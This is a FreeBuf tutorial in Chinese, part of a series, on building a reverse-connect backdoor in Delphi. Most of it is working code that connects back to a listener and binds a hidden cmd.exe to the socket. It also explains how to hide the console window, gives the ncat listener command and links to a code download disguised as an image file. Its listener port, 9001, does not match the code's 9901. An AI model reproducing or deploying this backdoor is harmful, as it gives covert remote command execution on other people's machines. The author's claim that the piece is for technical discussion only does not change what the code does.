freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DELPHI黑客编程(二):反弹后门原理实现
2018-04-11 09:00:14

*本文原创作者:5ecurity,本文属FreeBuf原创奖励计划,未经许可禁止转载

PS:本文仅作为技术讨论分享,严禁用于任何非法用途。

前言

上一节主要是通过DELPHI实现了一个正向连接的后门,本节将给大家带来反向后门demo的原理演示。

一、反弹后门原理

所谓“反弹后门”是指被控机会主动发起对控制机的连接,控制机会监听本地端口等待被控机的连接,然后发送控制指令对被控机实施控制。反弹后门有个特点是需要控制机一般具备公网地址(或通过路由器端口映射将本地监听端口映射到公网),使得被控机及时在内网也可以反向连接到控制机,这也是常见的反弹木马的连接方式,如果后面有机会可以给大家简单实现一个带gui界面的反弹远控木马demo。

二、反弹后门功能

功能还是和上次的正向后门一样,实现命令执行功能。并完善上一节正向后门的窗体隐藏代码,上一节使用代码:

win:longint;

win:=getforegroundwindow; //获取当前窗体的句柄

showwindow(win,SW_HIDE);  //隐藏窗体

确实可以实现窗体隐藏,但是有的小伙伴反应,使用这种方法在后门运行的时候会有cmd窗口一闪而过,这样隐藏的就不彻底了,倒有一点“此地无银三百两”的意思了。其实作为命令行程序本身就没有窗体,主要是通过系统console执行,因此通过DELPHI创建“Console Application”的时候

1.png

会在生成的代码中有如下标识:

{$APPTYPE CONSOLE}

2.png

其实只要删除这部分代码,即可实现无窗体运行。但在测试的时候建议使用带窗体的程序,实际应用的时候删除代码重新编译即可。

三、反弹后门实现原理

首先,定义反弹的ip和端口,也就是控制机监听的地址和端口。

其次,创建socket套接字连接,使用connect进行反弹连接。

第三,创建进程,并实现进程与socket的通信,上一节使用的是匿名管道进行的进程通信,这一次我们用直接绑定socket的方式实现。

四、代码实现

1、定义反弹ip和端口

ip :pchar;      //定义反弹ip地址
port :integer;  //定义反弹端口

port :=9901;    //反弹端口赋值为9901
ip :='127.0.0.1'; //反弹ip地址为本机

2、创建socket套接字并连接反弹ip上次使用的是WSASTARTUP初始化连接,使用socket创建套接字。这次我们使用Winsock2库中的WSASocket初始化并创建,用Winsock2库的好处是初始化创建socket比较简单,而且还能减小程序的体积。

sock :TSocket;      //定义socket
sin :TSockAddrIn;   //定义sockaddr_in结构

//初始化并创建socket
sock :=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

//设置socket参数
sin.sin_family :=AF_INET;
sin.sin_port :=htons(port);
sin.sin_addr.s_addr :=inet_addr(ip);

//调用connect连接反弹地址
while (connect(sock,sin,sizeof(sin))<>0) do Sleep(30000);

3、创建进程并绑定socket

si :TStartupInfo;          //定义STARTUPINFO结构体
pi :TProcessInformation;   //定义PROCESS_INFORMATION结构体

ZeroMemory(@si, SizeOf(si));  //si清零

//si赋值
si.cb :=sizeof(si);
si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow :=SW_HIDE;

//下面这三个是将输入、输出、报错信息都绑定到socket上
si.hStdInput :=sock;
si.hStdOutput :=sock;
si.hStdError :=sock;

//创建命令执行进程
CreateProcess(nil,'cmd.exe',nil,nil,TRUE,CREATE_NEW_CONSOLE,nil,nil,si,pi);

五、使用方法

上面三步基本可以实现一个反弹后门演示demo,具体使用方法如下:

1、编译好反弹后门demo,生成fantan.exe文件

3.png

可以看出体积比上一节的正向后门小了一半还多。

2、在控制机上运行ncat,监听本地9901端口使用命令:

ncat -vv -l -p 9001

4.png

3、在被控机上运行反弹后门运行后,控制机上的ncat收到反弹连接,并可以正常执行命令。

5.png

命令执行正常,回显正常,基本没啥问题。

六、代码下载

保存为fantan.rar http://www.5ecurity.cn/usr/uploads/2018/03/1639517521.jpg

七、推荐阅读

DELPHI黑客编程(一):正向后门原理实现:http://www.freebuf.com/articles/web/166492.html

DELPHI黑客编程(三):简单远控原理实现:http://www.freebuf.com/articles/system/166876.html

*本文原创作者:5ecurity,本文属FreeBuf原创奖励计划,未经许可禁止转载

# 反弹后门
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者